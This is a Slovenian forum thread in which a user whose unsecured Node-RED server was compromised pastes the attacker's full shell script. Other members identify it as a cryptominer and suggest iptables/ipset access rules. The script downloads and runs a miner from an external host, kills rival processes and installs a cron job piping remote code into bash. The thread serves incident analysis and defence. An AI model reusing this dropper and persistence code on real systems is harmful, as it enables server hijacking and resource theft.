Čudne stvari na strežniku

Tu bomo pisali o tem s kakšnimi OS se ukvarjamo in kakšne težave imamo pri tem.

Moderatorji: Kroko, tilz0R

Čudne stvari na strežniku

OdgovorNapisal/-a s54mtb » 05 Nov 2018, 19:40

Danes sem opazil, da je bil zlorabljen NodeRed na enem mojem virtualnem strežniku. Nekako jim je uspelo zaobiti avtentikacijo in pognati tole:
nodered.JPG


V tisti shell skripti je:
Koda: Izberi vse
#!/bin/bash
mkdir /var/tmp
chmod 777 /var/tmp
pkill -f getty
netstat -antp | grep '27.155.87.59' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '27.155.87.59' | grep 'SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '104.160.171.94\|170.178.178.57\|91.236.182.1\|52.15.72.79\|52.15.62.13' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '104.160.171.94\|170.178.178.57\|91.236.182.1\|52.15.72.79\|52.15.62.13' | grep 'CLOSE_WAIT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '104.160.171.94\|170.178.178.57\|91.236.182.1\|52.15.72.79\|52.15.62.13' | grep 'SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '121.18.238.56' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '121.18.238.56' | grep 'SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '103.99.115.220' | grep 'SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '103.99.115.220' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
pkill -f /usr/bin/.sshd
netstat -antp | grep '158.69.133.20:3333'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
rm -rf /var/tmp/j*
rm -rf /tmp/j*
rm -rf /var/tmp/java
rm -rf /tmp/java
rm -rf /var/tmp/java2
rm -rf /tmp/java2
rm -rf /var/tmp/java*
rm -rf /tmp/java*
chmod 777 /var/tmp/sustse
ps aux | grep -vw sustse | awk '{if($3>40.0) print $2}' | while read procid
do
kill -9 $procid
done
ps ax | grep /tmp/ | grep -v grep | grep -v 'sustse\|sustse\|ppl' | awk '{print $1}' | xargs kill -9
ps ax | grep 'wc.conf\|wq.conf\|wm.conf' | grep -v grep | grep -v 'sustse\|sustse\|ppl' | awk '{print $1}' | xargs kill -9
DIR="/var/tmp"
if [ -a "/var/tmp/sustse" ]
then
    if [ -w "/var/tmp/sustse" ] && [ ! -d "/var/tmp/sustse" ]
    then
        if [ -x "$(command -v md5sum)" ]
        then
            sum=$(md5sum /var/tmp/sustse | awk '{ print $1 }')
            echo $sum
            case $sum in
                042b0568a6e42ed3d4a5520ada926164 | 042b0568a6e42ed3d4a5520ada926164)
                    echo "sustse OK"
                ;;
                *)
                    echo "sustse wrong"
                    pkill -f wc.conf
                    pkill -f sustse
                    sleep 4
                ;;
            esac
        fi
        echo "P OK"
    else
        DIR=$(mktemp -d)/var/tmp
        mkdir $DIR
        echo "T DIR $DIR"
    fi
else
    if [ -d "/var/tmp" ]
    then
        DIR="/var/tmp"
    fi
    echo "P NOT EXISTS"
fi
if [ -d "/var/tmp/sustse" ]
then
    DIR=$(mktemp -d)/var/tmp
    mkdir $DIR
    echo "T DIR $DIR"
fi
WGET="wget -O"
if [ -s /usr/bin/curl ];
then
    WGET="curl -o";
fi
if [ -s /usr/bin/wget ];
then
    WGET="wget -O";
fi
f2="www.tionhgjk.com:8220"

downloadIfNeed()
{
    if [ -x "$(command -v md5sum)" ]
    then
        if [ ! -f $DIR/sustse ]; then
            echo "File not found!"
            download
        fi
        sum=$(md5sum $DIR/sustse | awk '{ print $1 }')
        echo $sum
        case $sum in
            042b0568a6e42ed3d4a5520ada926164 | 042b0568a6e42ed3d4a5520ada926164)
                echo "sustse OK"
            ;;
            *)
                echo "sustse wrong"
                sizeBefore=$(du $DIR/sustse)
                if [ -s /usr/bin/curl ];
                then
                    WGET="curl -k -o ";
                fi
                if [ -s /usr/bin/wget ];
                then
                    WGET="wget --no-check-certificate -O ";
                fi
                #$WGET $DIR/sustse https://transfer.sh/wbl5H/sustse
                download
                sumAfter=$(md5sum $DIR/sustse | awk '{ print $1 }')
                if [ -s /usr/bin/curl ];
                then
                    echo "redownloaded $sum $sizeBefore after $sumAfter " `du $DIR/sustse` > $DIR/var/tmp.txt
                fi
            ;;
        esac
    else
        echo "No md5sum"
        download
    fi
}

download() {
    if [ -x "$(command -v md5sum)" ]
    then
        sum=$(md5sum $DIR/sustse3 | awk '{ print $1 }')
        echo $sum
        case $sum in
            042b0568a6e42ed3d4a5520ada926164 | 042b0568a6e42ed3d4a5520ada926164)
                echo "sustse OK"
                cp $DIR/sustse3 $DIR/sustse
            ;;
            *)
                echo "sustse wrong"
                download2
            ;;
        esac
    else
        echo "No md5sum"
        download2
    fi
}

download2() {
    if [ `getconf LONG_BIT` = "64" ]
    then
        $WGET $DIR/sustse http://www.tionhgjk.com:8220/tte2
    fi

    if [ -x "$(command -v md5sum)" ]
    then
        sum=$(md5sum $DIR/sustse | awk '{ print $1 }')
        echo $sum
        case $sum in
            042b0568a6e42ed3d4a5520ada926164 | 042b0568a6e42ed3d4a5520ada926164)
                echo "sustse OK"
                cp $DIR/sustse $DIR/sustse3
            ;;
            *)
                echo "sustse wrong"
            ;;
        esac
    else
        echo "No md5sum"
    fi
}

judge() {
    if [ ! "$(netstat -ant|grep '192.99.142.251\|192.99.142.249\|202.144.193.110'|grep 'ESTABLISHED'|grep -v grep)" ];
    then
        ps axf -o "pid %cpu" | awk '{if($2>=30.0) print $1}' | while read procid
         do
         kill -9 $procid
        done
        downloadIfNeed
        touch /var/tmp/123
        pkill -f /var/tmp/java
        pkill -f w.conf
        chmod +x $DIR/sustse
        $WGET $DIR/wc.conf http://$f2/wt.conf
        nohup $DIR/sustse -c $DIR/wc.conf > /dev/null 2>&1 &
        sleep 5
    else
       echo "Running"
    fi
}

judge2() {
    if [ ! "$(ps -fe|grep '/var/tmp/sustse'|grep 'wc.conf'|grep -v grep)" ];
    then
        downloadIfNeed
        chmod +x $DIR/sustse
        $WGET $DIR/wc.conf http://$f2/wt.conf
        nohup $DIR/sustse -c $DIR/wc.conf > /dev/null 2>&1 &
        sleep 5
    else
        echo "Running"
    fi
}

if [ ! "$(netstat -ant|grep 'LISTEN\|ESTABLISHED\|TIME_WAIT'|grep -v grep)" ];
then
    judge2
else
    judge
fi

if crontab -l | grep -q "www.tionhgjk.com:8220"
then
    echo "Cron exists"
else
    crontab -r
    echo "Cron not found"
    LDR="wget -q -O -"
    if [ -s /usr/bin/curl ];
    then
        LDR="curl";
    fi
    if [ -s /usr/bin/wget ];
    then
        LDR="wget -q -O -";
    fi
   (crontab -l 2>/dev/null; echo "* * * * * $LDR http://www.tionhgjk.com:8220/mr.sh | bash -sh > /dev/null 2>&1")| crontab -
fi
rm -rf /var/tmp/jrm
rm -rf /tmp/jrm
pkill -f 185.222.210.59
pkill -f 95.142.40.81
pkill -f 192.99.142.232
chmod 777 /var/tmp/sustse
crontab -l | sed '/185.222.210.59/d' | crontab -


Če ima kdo voljo, najk mi prosim na kratko pokomentira, kaj me je doletelo. Trenutno sem virtualko ugasnil, bi pa vseeno rad stvari malo poanaliziral.
Težava sveta je, da so inteligentni ljudje polni dvomov, medtem ko so neumni polni samozavesti. (Charles Bukowski)
s54mtb
 
Prispevkov: 8294
Pridružen: 15 Jan 2015, 00:10
Zahvalil se je: 1096 krat
Prejel zahvalo: 2668 krat
Uporabnika povabil: Vrtni palček
Število neizkoriščenih povabil: 75

Re: Čudne stvari na strežniku

OdgovorNapisal/-a zanka » 05 Nov 2018, 19:52

Bitcoin miner
Uporabniški avatar
zanka
 
Prispevkov: 1854
Pridružen: 17 Mar 2016, 00:16
Kraj: Krško
Zahvalil se je: 94 krat
Prejel zahvalo: 158 krat
Uporabnika povabil: DusanK
Število neizkoriščenih povabil: 30

Re: Čudne stvari na strežniku

OdgovorNapisal/-a VolkD » 05 Nov 2018, 20:05

Kitajci ?
Dokler bodo ljudje mislili, da živali ne čutijo bolečine, bodo živali čutile, da ljudje ne mislijowww.S5tech.net
Uporabniški avatar
VolkD
Administratorji strani
 
Prispevkov: 28822
Pridružen: 29 Dec 2014, 19:49
Kraj: Kačiče (Divača)
Zahvalil se je: 5394 krat
Prejel zahvalo: 3694 krat
Uporabnika povabil: Vrtni palček
Število neizkoriščenih povabil: 255

Re: Čudne stvari na strežniku

OdgovorNapisal/-a zanka » 05 Nov 2018, 20:09

Malezija, Kitajska, ZDA, Kanada, Venezuela, Indija ... težko reči.
Uporabniški avatar
zanka
 
Prispevkov: 1854
Pridružen: 17 Mar 2016, 00:16
Kraj: Krško
Zahvalil se je: 94 krat
Prejel zahvalo: 158 krat
Uporabnika povabil: DusanK
Število neizkoriščenih povabil: 30

Re: Čudne stvari na strežniku

OdgovorNapisal/-a s54mtb » 05 Nov 2018, 20:49

zanka je napisal/-a:Bitcoin miner


Pa ima smisel moriti si.cert?
Težava sveta je, da so inteligentni ljudje polni dvomov, medtem ko so neumni polni samozavesti. (Charles Bukowski)
s54mtb
 
Prispevkov: 8294
Pridružen: 15 Jan 2015, 00:10
Zahvalil se je: 1096 krat
Prejel zahvalo: 2668 krat
Uporabnika povabil: Vrtni palček
Število neizkoriščenih povabil: 75

Re: Čudne stvari na strežniku

OdgovorNapisal/-a VolkD » 05 Nov 2018, 20:52

Da bi jih moril, ne. Ne verjamem, da bodo ravno tvoj primer kaj posebej raziskovali. Bi bilo pa prav, da jim pošlješ poročilo o incidentu.
Cert je policija in policija deluje tako, da sestavlja drobčke informacij skupaj. Velikokrat pomagajo prav na pogled nepomembne stvari.
Dokler bodo ljudje mislili, da živali ne čutijo bolečine, bodo živali čutile, da ljudje ne mislijowww.S5tech.net
Uporabniški avatar
VolkD
Administratorji strani
 
Prispevkov: 28822
Pridružen: 29 Dec 2014, 19:49
Kraj: Kačiče (Divača)
Zahvalil se je: 5394 krat
Prejel zahvalo: 3694 krat
Uporabnika povabil: Vrtni palček
Število neizkoriščenih povabil: 255

Re: Čudne stvari na strežniku

OdgovorNapisal/-a s54mtb » 05 Nov 2018, 22:21

58.218.92.43
116.31.116.44
50.192.195.225
195.154.102.207

itd itd itd...

auth.log je zadnje dni narasel nad vse razumne meje.
Težava sveta je, da so inteligentni ljudje polni dvomov, medtem ko so neumni polni samozavesti. (Charles Bukowski)
s54mtb
 
Prispevkov: 8294
Pridružen: 15 Jan 2015, 00:10
Zahvalil se je: 1096 krat
Prejel zahvalo: 2668 krat
Uporabnika povabil: Vrtni palček
Število neizkoriščenih povabil: 75

Re: Čudne stvari na strežniku

OdgovorNapisal/-a jmivsek » 05 Nov 2018, 22:56

Kot da ima NodeRed neko ranljivost, ki se jo izkorišča prek nekega botneta za napade. Kaj pa pravijo na NodeRed skupnosti o tem?
Vem, da nič ne vem (Sokrat)
Uporabniški avatar
jmivsek
 
Prispevkov: 849
Pridružen: 18 Jan 2015, 00:20
Kraj: Ajdovščina
Zahvalil se je: 1231 krat
Prejel zahvalo: 268 krat
Uporabnika povabil: S52O
Število neizkoriščenih povabil: 45

Re: Čudne stvari na strežniku

OdgovorNapisal/-a s54mtb » 05 Nov 2018, 23:37

jmivsek je napisal/-a:Kot da ima NodeRed neko ranljivost, ki se jo izkorišča prek nekega botneta za napade. Kaj pa pravijo na NodeRed skupnosti o tem?


There have been a growing number of reports of unsecured instances of Node-RED having a crypto-mining flow automatically deployed on them.
This is a result of exposing Node-RED on the internet without having applied any security - something we strongly advise against.
If you have been affected, the only safe option is to wipe and reinstall the server/device running Node-RED.
You must also ensure you properly secure Node-RED. At a bare minimum, you should enable adminAuth as described in the documentation.


Očitno nekaj nisem čisto pravilno skonfiguriral. Sicer je pa zdržalo celih 6 mesecev :)
Težava sveta je, da so inteligentni ljudje polni dvomov, medtem ko so neumni polni samozavesti. (Charles Bukowski)
s54mtb
 
Prispevkov: 8294
Pridružen: 15 Jan 2015, 00:10
Zahvalil se je: 1096 krat
Prejel zahvalo: 2668 krat
Uporabnika povabil: Vrtni palček
Število neizkoriščenih povabil: 75

Re: Čudne stvari na strežniku

OdgovorNapisal/-a DusanK » 06 Nov 2018, 00:36

Sem prosil sina, če na hitro pokomentira kodo...
Virustotal nad binarnim delom.
Največji čar - električar
Uporabniški avatar
DusanK
 
Prispevkov: 2394
Pridružen: 18 Jan 2015, 00:43
Kraj: Medvode
Zahvalil se je: 678 krat
Prejel zahvalo: 1219 krat
Uporabnika povabil: VolkD
Število neizkoriščenih povabil: 210

Re: Čudne stvari na strežniku

OdgovorNapisal/-a sundancer » 06 Nov 2018, 10:39

Primer kako lahko naredis ucinkovito access listo za dostop do Node-RED:

Pogledas avtonomne sisteme v Sloveniji
https://bgp.he.net/country/SI

Pogledas za ponudnika T-2 njegove PrefixesV4
https://bgp.he.net/AS34779#_prefixes

Dobis tole:
Koda: Izberi vse
84.255.192.0/18
89.212.0.0/18
89.212.64.0/18
89.212.128.0/18
89.212.192.0/18
89.233.112.0/20
93.103.0.0/19
93.103.32.0/19
93.103.64.0/19
93.103.96.0/19
93.103.128.0/19
93.103.160.0/19
93.103.192.0/19
93.103.224.0/19
185.49.116.0/22
188.230.128.0/19
188.230.160.0/19
188.230.192.0/19
188.230.224.0/19
193.138.32.0/20
193.138.48.0/21
193.138.56.0/22
193.138.60.0/23
193.138.62.0/24
193.138.63.0/24

Ker si nagnjen k optimizaciji zadevo spustis cez 'aggregate' (apt-get/yum install aggregate), zato da dobis ven tole:
Koda: Izberi vse
84.255.192.0/18
89.212.0.0/16
89.233.112.0/20
93.103.0.0/16
185.49.116.0/22
188.230.128.0/17
193.138.32.0/19

Potem v linuxu naredis nov ipset v katerega dodas zgornje networke:
Koda: Izberi vse
ipset create DOMACE hash:net
ipset add DOMACE 84.255.192.0/18
ipset add DOMACE 89.212.0.0/16
ipset add DOMACE 89.233.112.0/20
ipset add DOMACE 93.103.0.0/16
ipset add DOMACE 185.49.116.0/22
ipset add DOMACE 188.230.128.0/17
ipset add DOMACE 193.138.32.0/19

In se iptables rule:
Koda: Izberi vse
iptables -A INPUT -m set --match-set DOMACE src -m tcp -p tcp --dport 1880 -m comment --comment 'Node-RED dostop za domacine' -j ACCEPT
iptables -A INPUT -m tcp -p tcp --dport 1880 -m comment --comment 'NodeRED blokiraj vse' -j DROP

In da ne bos sam sebe odrezal dodas seveda se svoja lokalna omrezja:
Koda: Izberi vse
ipset add DOMACE 192.168.0.0/16
ipset add DOMACE 10.0.0.0/16
ipset add DOMACE 172.16.0.0/12


Za IPv6 pogledas pa
Koda: Izberi vse
man ipset
Uporabniški avatar
sundancer
 
Prispevkov: 447
Pridružen: 16 Jan 2015, 22:36
Kraj: Domžale
Zahvalil se je: 136 krat
Prejel zahvalo: 224 krat
Uporabnika povabil: Vrtni palček
Število neizkoriščenih povabil: 33

Re: Čudne stvari na strežniku

OdgovorNapisal/-a leonk » 06 Nov 2018, 11:20

Če se omejiš na RIPE področje se zadeve tudi izboljšajo.
Lista networkov je cca 20 vrstic.
Pri ssh dostopu se je moja statistika za 24h zmanjšala iz 6000 na cca 200 poizkusov.
Ko sem uvedel še pošiljanje tečnob na block listo pa smo padli pod 50 dnevno.
Leon
leonk
 
Prispevkov: 578
Pridružen: 18 Jan 2015, 00:31
Kraj: Jesenice
Zahvalil se je: 110 krat
Prejel zahvalo: 71 krat
Uporabnika povabil: VolkD
Število neizkoriščenih povabil: 17

Re: Čudne stvari na strežniku

OdgovorNapisal/-a s54mtb » 06 Nov 2018, 11:35

sundancer je napisal/-a:In da ne bos sam sebe odrezal dodas seveda se svoja lokalna omrezja:


Pa še 44/8 si pozabil :)
Težava sveta je, da so inteligentni ljudje polni dvomov, medtem ko so neumni polni samozavesti. (Charles Bukowski)
s54mtb
 
Prispevkov: 8294
Pridružen: 15 Jan 2015, 00:10
Zahvalil se je: 1096 krat
Prejel zahvalo: 2668 krat
Uporabnika povabil: Vrtni palček
Število neizkoriščenih povabil: 75

Re: Čudne stvari na strežniku

OdgovorNapisal/-a sundancer » 06 Nov 2018, 12:35

Takole je pravilno (v mojem prejsnjem postu manjka src):

iptables -A INPUT -m set --match-set DOMACE src -m tcp -p tcp --dport 1880 -m comment --comment 'Node-RED dostop za domacine' -j ACCEPT

Dovolim, da admin/moderator popravi napako v prejsnjem postu saj se s tem ne spremeni bistvena vsebina posta ter debate v tej temi.
Uporabniški avatar
sundancer
 
Prispevkov: 447
Pridružen: 16 Jan 2015, 22:36
Kraj: Domžale
Zahvalil se je: 136 krat
Prejel zahvalo: 224 krat
Uporabnika povabil: Vrtni palček
Število neizkoriščenih povabil: 33

Re: Čudne stvari na strežniku

OdgovorNapisal/-a VolkD » 06 Nov 2018, 12:41

sundancer je napisal/-a:Dovolim, da admin/moderator popravi napako v prejsnjem postu saj se s tem ne spremeni bistvena vsebina posta ter debate v tej temi.

Done.
Dokler bodo ljudje mislili, da živali ne čutijo bolečine, bodo živali čutile, da ljudje ne mislijowww.S5tech.net
Uporabniški avatar
VolkD
Administratorji strani
 
Prispevkov: 28822
Pridružen: 29 Dec 2014, 19:49
Kraj: Kačiče (Divača)
Zahvalil se je: 5394 krat
Prejel zahvalo: 3694 krat
Uporabnika povabil: Vrtni palček
Število neizkoriščenih povabil: 255

Re: Čudne stvari na strežniku

OdgovorNapisal/-a peterp » 06 Nov 2018, 15:51

leonk je napisal/-a:Pri ssh dostopu se je moja statistika za 24h zmanjšala iz 6000 na cca 200 poizkusov.
Ko sem uvedel še pošiljanje tečnob na block listo pa smo padli pod 50 dnevno.
Uporaba ne-default porta pa zadevo še bolj zmanjša.
peterp
 
Prispevkov: 456
Pridružen: 23 Feb 2015, 13:52
Kraj: Maribor
Zahvalil se je: 99 krat
Prejel zahvalo: 68 krat
Uporabnika povabil: gumby
Število neizkoriščenih povabil: 69


Vrni se na Operacijski sistemi

Kdo je na strani

Po forumu brska: 0 registriranih uporabnikov in 2 gostov